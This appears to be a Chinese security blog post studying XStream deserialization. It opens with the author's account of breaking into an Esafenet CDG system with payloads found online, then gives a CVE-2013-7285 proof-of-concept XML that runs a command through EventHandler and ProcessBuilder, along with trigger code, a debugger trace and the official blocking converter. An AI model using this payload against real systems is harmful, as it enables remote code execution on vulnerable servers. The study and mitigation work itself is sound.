前言: 事情起源于一次挖eud某证书站的时候,遇到一个亿赛通电子文档管理系统,知道该系统之前爆过反序列化rce的洞,于是去网上搜一些反序列化的payload,最后竟然也是成功打下了,而那些反序列化就是xstream反序列化,因为之前没有系统学习过,所以现在他来了
stop!先讲一下那个亿赛通的反序列化,就当提前了解了
漏洞分析 因为我没有亿赛通的源码,所以主要还是参考网上的复现文章简单的来分析一下
https://0xf4n9x.github.io/cdg-xstream-deserialization-arbitrary-file-upload.html
漏洞出现点是在WEB-INF/lib/jhiberest.jar文件,在反编译后是发现了xstream的关键字,且依赖也是低版本1.4.9
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 public class SystemService extends HttpServlet { private static final Log log = LogFactory.getLog(FilesService.class); private static String retrunString = ""; private static final long serialVersionUID = -3607772408578536033L; private XStream xStream = ServiceUtil.getStream(); private UserDao userDao = new UserDao(); private UsbKeyDao usbKeyDao = new UsbKeyDao(); private SecretDocDao secretDocDao = new SecretDocDao(); private SecretUserDao secretUserDao = new SecretUserDao(); public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { String command = request.getParameter("command").toString(); if (command != null && command.length() > 0) { switch (CommandConstants.getCommandValue(command)) { case CommandConstants.GETSYSTEMINFO /* 1601 */: getSystemInfo(request, response); break; } } } catch (Exception e) { } } private void getSystemInfo(HttpServletRequest request, HttpServletResponse response) { SystemReturn systemReturn = new SystemReturn(); try { String xmlStr = ServiceUtil.getXMLFromRequest(request); SystemServiceRequest systemServiceRequest = (SystemServiceRequest)this.xStream.fromXML(xmlStr); systemReturn.setReturnMessage("OK"); systemReturn.setSecretKey(DocInfoModel.getCDGKey()); // ... } catch (Exception e2) { retrunString = ""; e2.printStackTrace(); log.error("取系统信息" + e2.getMessage()); systemReturn.setReturnMessage(ErrorConstants.SYSTEMSERVICE_ERROR); ServiceUtil.sendInfo(request, response, this.xStream.toXML(systemReturn)); } } }
要想要走到触发xstream反序列化的地方即GETSYSTEMINFO才会顺利进入到getSystemInfo方法
且中间request请求还会经过ServiceUtil.getXMLFromRequest方法处理,但主要就是一些编码,可以逆向解码来编码或者后续直接调用该方法也可以
最后走到xStream.fromXML(xmlStr)触发反序列化
后续就是构造恶意的payload编码后传给xStream.fromXML就成功了
所以我们可以发现,在这个过程中触发xstream反序列化的关键函数就是fromXML函数!
XStream基础: 概念: XStream 是一个简单的基于 Java 库,Java 对象序列化到 XML,反之亦然(即:可以轻易的将 Java 对象和 XML 文档相互转换)
xstream和fastjson有一样的地方就是不同于java原生的反序列化方法,而是采用特定的方式对java对象进行转换即序列化和反序列化
demo演示: 创建一个maven项目,然后导入依赖
1 2 3 4 5 <dependency> <groupId>com.thoughtworks.xstream</groupId> <artifactId>xstream</artifactId> <version>1.4.10</version> </dependency>
先定义一个接口类IPerson.java
1 2 3 public interface IPerson { void output(); }
然后定义一个Person类实现前面的接口:
1 2 3 4 5 6 7 8 public class Person implements IPerson { String name; int age; public void output() { System.out.print("Hello, this is " + this.name + ", age " + this.age); } }
Xstream序列化是通过XStream.toXML() 来实现的(就像tojson一样)
1 2 3 4 5 6 7 8 9 10 public class Serialize { public static void main(String[] args) { Person p = new Person(); p.age = 6; p.name = "pmv57"; XStream xstream = new XStream(new DomDriver()); String xml = xstream.toXML(p); System.out.println(xml); } }
然后写个发序列化看看,XStream 反序列化是用过调用 XStream.fromXML() 来实现的,其中获取 XML 文件内容的方式可以通过 Scanner() 或 FileInputStream 都可以:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.example.demo; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.util.Scanner; public class Deserialize { public static void main(String[] args) throws FileNotFoundException { // String xml = new Scanner(new File("person.xml")).useDelimiter("\\Z").next(); FileInputStream xml = new FileInputStream("D:\\Security\\JavaStudy\\java_src\\serialize\\Xstream\\demo\\src\\main\\java\\org\\example\\demo\\person.xml"); XStream xstream = new XStream(new DomDriver()); Person p = (Person) xstream.fromXML(xml); p.output(); } }
然后这就是简单看一下xstream是如何反序列化的
XStream 类图
注:引用drun1baby师傅的图片
这几个部分我就不都一一分析了,主要还是分析一下最重要的DynamicProxyConverter 动态代理转换器,这是存在xstream反序列化的漏洞最主要的原因
DynamicProxyConverter 动态代理转换器 DynamicProxyConverter是xstream支持的一种动态代理转换器
他可以将xml中的dynamic-proxy标签中的内容转换成对应的动态代理对象,而当动态代理对象调用了dynamic-proxy标签内的interface标签指向的接口中声明的方法,根据之前学习的动态代理机制,就知道他会触发对应的handler也就是dynamic-proxy标签下handler节点的EventHandler中的invoke方法
1 2 3 4 5 6 7 <dynamic-proxy> <interface>com.foo.Blah</interface> <interface>com.foo.Woo</interface> <handler class="com.foo.MyHandler"> <something>blah</something> </handler> </dynamic-proxy>
CVE_2013_7285 拿一个Xstream最初的漏洞来学习一下
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 <sorted-set> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>Calc</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set>
触发代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package org.example.demo; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; import java.io.FileInputStream; public class cve_2013_7285 { public static void main(String[] args) throws Exception{ FileInputStream fileInputStream = new FileInputStream("D:\\Security\\JavaStudy\\java_src\\serialize\\Xstream\\demo\\src\\main\\java\\org\\example\\demo\\person.xml"); XStream xStream = new XStream(new DomDriver()); xStream.fromXML(fileInputStream); } }
然后运行之后成功弹出计算器
源码分析: 断点首先下到TreeUnmarshaller中的start方法,会调用HierarchicalStreams.readClassType() 来获取到 PoC XML 中根标签的类类型
然后跟到readClassType方法中,发现会mapper.realClass() 进行循环遍历(用来查找xml中的根标签为什么类型)
然后跟出来到下一步convertAnother函数对java.util.SortedSet 类型进行转换
跟进去看一下,发现调用了mapper.defaultImplementationOf() 函数来寻找 java.util.SortedSet 类型的默认实现类型进行替换,这里转换为了 java.util.TreeSet 类型
然后就是寻找Convert,这里找到的对应的转换器是TreeMapConverter
然后会执行到AbstractReferenceUnmarshaller.convert()中,并且会调用getCurrentReferenceKey() 来获取当前的 Reference 键,并且会将当前的 Reference 键压到栈中(这个键在后续会和保存的java.util.TreeSet 类一一对应)
紧接着调用父类的FastStack.convert() 方法,发现将类型压入栈,然后调用TreeSetConverter 的unmarshal方法(存疑,代码有问题)
跟进去看看,它会调用unmarshalComparator方法,这个方法通过判断reader 是否还有子元素来获取xml根元素的子元素
而reader.moveDown()会把子元素获取并添加到当前 context 的 pathTracker
回到TreeSetConverter.unmarshal()方法中,看一下this.treeMapConverter.populateTreeMap()这个函数
在这个方法里,xstream就开始处理了xml里面其他的节点元素,首先判断是不是第一个元素,是的话就调用putCurrentEntryIntoMap()函数,就是将当前的内容缓存到map中
跟进去看一下,发现调用 readItem() 方法读取标签内的内容并缓存到当前 Map 中
在跟进readitem方法,会发现他又调用了HierarchicalStreams.readClassType() 和 context.convertAnother() 方法
跟进去看一下,这里我们可以看mapper发现他其中还是两个元素,而xstream就会处理最里层的那个
而他同时会返回一个type,就是最新最里层的那个子元素类型,我们跟代码看赋值发现是com.thoughtworks.xstream.mapper.DynamicProxyMapper#DynamicProxy,对应的转换器为 DynamicProxyConverter
我们所编写的xml获取到的子元素为,然后跟进DynamicProxyConverter的unmarshal里面会判断if (elementName.equals("interface")),如果为 true,则将目前 <interface> 节点的元素获取到,再获得转换类型
在我们写的xml中在interface下还存在子元素,获取完完 <interface> 后重新进入这个迭代,下一个获取到的子元素是 <handler>
然后继续向下,在DynamicProxyConverter中125行(看个人,但都是在附近)调用了Proxy.newProxyInstance() 方法,是用来实例化代理类的过程
然后在127行(同理看个人)调用context.convertAnother() 方法,跟进一下
对应的转换器是AbstractReflectionConverter,跟进,发现会先调用instantiateNewInstance() 方法实例化一个 EventHandler 类
继续在AbstractReflectionConverter中,到429行左右(同理,看个人情况),看代码赋值type为class java.lang.ProcessBuilder
后续就是继续的xstream处理xml,都是类似的运行流程
然后最后的最后又会到treeMapConverter.populateTreeMap() 这个地方
然后一直步过,直到122行调用了put.all方法,变量是sortedMap,我们可以看一下赋值发现就是一段链式存储的数据
最后最后调用到EventHandler#invoke方法
1 2 3 4 5 6 7 invoke:428, EventHandler (java.beans) compareTo:-1, $Proxy0 (com.sun.proxy) compare:1294, TreeMap (java.util) put:538, TreeMap (java.util) putAll:281, AbstractMap (java.util) putAll:327, TreeMap (java.util) populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
漏洞修复: 官方增加了黑名单:
用户可以为动态代理注册自己的转换器,即 java.beans.EventHandler 类型或 java.lang.ProcessBuilder 类型,这也可以防止这种特殊情况的攻击:
1 2 3 4 5 6 7 8 9 10 11 12 13 xstream.registerConverter(new Converter() { public boolean canConvert(Class type) { return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type)); } public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { throw new ConversionException("Unsupported type due to security reasons."); } public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) { throw new ConversionException("Unsupported type due to security reasons."); } }, XStream.PRIORITY_LOW);
参考文章:
https://drun1baby.top/2023/04/18/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B-XStream-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-01/#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86
https://0xf4n9x.github.io/cdg-xstream-deserialization-arbitrary-file-upload.html